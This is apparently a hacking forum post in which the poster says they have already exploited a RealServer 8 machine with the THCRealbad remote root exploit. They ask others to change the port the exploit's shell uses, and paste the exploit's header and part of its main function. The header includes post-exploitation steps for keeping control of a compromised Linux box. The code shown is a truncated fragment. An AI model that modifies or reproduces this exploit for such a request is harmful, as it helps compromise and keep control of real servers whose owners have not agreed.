I have this tiny little problem A box on my range, has a realserver, v8. I've exploited it succesfully via THCRealbad app (v0.4), but the thing is, the sysop has some service installed on the system, which uses exactly port 31337 OMFG i thought...
Now, can any1 change the source, for some other port ? 31300 or w/e..
CODE
/*****************************************************************************/ /* THCREALbad 0.4 - Wind0wZ & Linux remote root exploit */ /* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com) */ /* THC PUBLIC SOURCE MATERIALS */ /* */ /* This exploit was an 0day from some time, but as CANVAS leaked and kiddies */ /* exploited this bug like hell, realnetworks got info on that bug and posted*/ /* a workaround on their site. So THC decided to release this one to the */ /* public now. (filtered) u kiddies ! BURST IN HELL ! */ /* */ /* After successful exploitation of a Linux box just type in the following */ /* ps -ef | grep -i rmserver */ /* and then search for the first appearing master pid of rmserver and type */ /* kill -9 <master pid of rmserver> */ /* Otherwise the master process detects that the compromised thread isn't */ /* running in a stable state any longer and kicks u of the box. */ /* On Windows Realservers it doesn't matter, the connection keeps up. */ /* */ /* Also try the testing mode before exploitation of this bug, what OS is */ /* running on the remote site, to know what type of shellcode to use. */ /* */ /* Greetings go to Dave Aitel of Immunitysec who found that bug. */ /* */ /* compile with MS Visual C++ : cl THCREALbad.c */ /* */ /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */ /* scut, stealth, zip, zilvio, LSD and Dave Aitel */ /*****************************************************************************/
int main(int argc, char *argv[]) { unsigned short realport=554; unsigned int sock,addr,os,rc; unsigned char *finalbuffer,*osbuf; struct sockaddr_in mytcp; struct hostent * hp; WSADATA wsaData;
printf("\nWelcom to http://www.haowawa.cn \n"); printf("\nTHCREALbad v0.4 - Wind0wZ & Linux remote root sploit for Realservers 8+9\n"); printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");
strcpy(finalbuffer,attackbuffer1); os = (unsigned short)atoi(argv[2]); switch(os) { case WINDOWS: decoder[11]=0x90; break; case LINUX: decoder[11]=0x05; break; case OSTESTMODE: break; default: printf("\nillegal OS value!\n"); exit(-1); }